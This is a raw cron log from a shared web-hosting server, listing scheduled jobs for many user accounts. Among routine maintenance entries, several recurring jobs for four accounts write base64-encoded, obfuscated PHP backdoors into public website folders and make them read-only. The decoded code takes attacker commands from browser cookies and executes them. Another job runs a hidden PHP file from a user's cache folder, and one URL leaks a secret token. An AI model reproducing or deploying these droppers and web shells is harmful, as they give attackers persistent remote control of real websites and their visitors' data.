Apr 19 05:44:01 medusa CROND[7918]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:44:01 medusa CROND[7923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:44:01 medusa CROND[7924]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:44:01 medusa CROND[7925]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[30909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:45:01 medusa CROND[30912]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:45:01 medusa CROND[31086]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 05:45:01 medusa CROND[31087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:45:01 medusa CROND[31088]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:45:01 medusa CROND[31089]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:45:01 medusa CROND[31090]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[31091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[31092]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:45:01 medusa CROND[31093]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:45:01 medusa CROND[31097]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:45:01 medusa CROND[31094]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[31098]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:45:01 medusa CROND[31107]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:45:01 medusa CROND[31109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[31110]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:45:01 medusa CROND[31111]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:45:01 medusa CROND[31113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:45:01 medusa CROND[31117]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[31121]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:45:01 medusa CROND[31124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:45:01 medusa CROND[31119]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:45:01 medusa CROND[31131]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:46:01 medusa CROND[21752]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:46:01 medusa CROND[21854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:46:01 medusa CROND[21855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:46:01 medusa CROND[21878]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:46:01 medusa CROND[21879]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:46:01 medusa CROND[21880]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:46:01 medusa CROND[21882]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:46:01 medusa CROND[21883]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:46:01 medusa CROND[21885]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:46:01 medusa CROND[21891]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:46:01 medusa CROND[21895]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
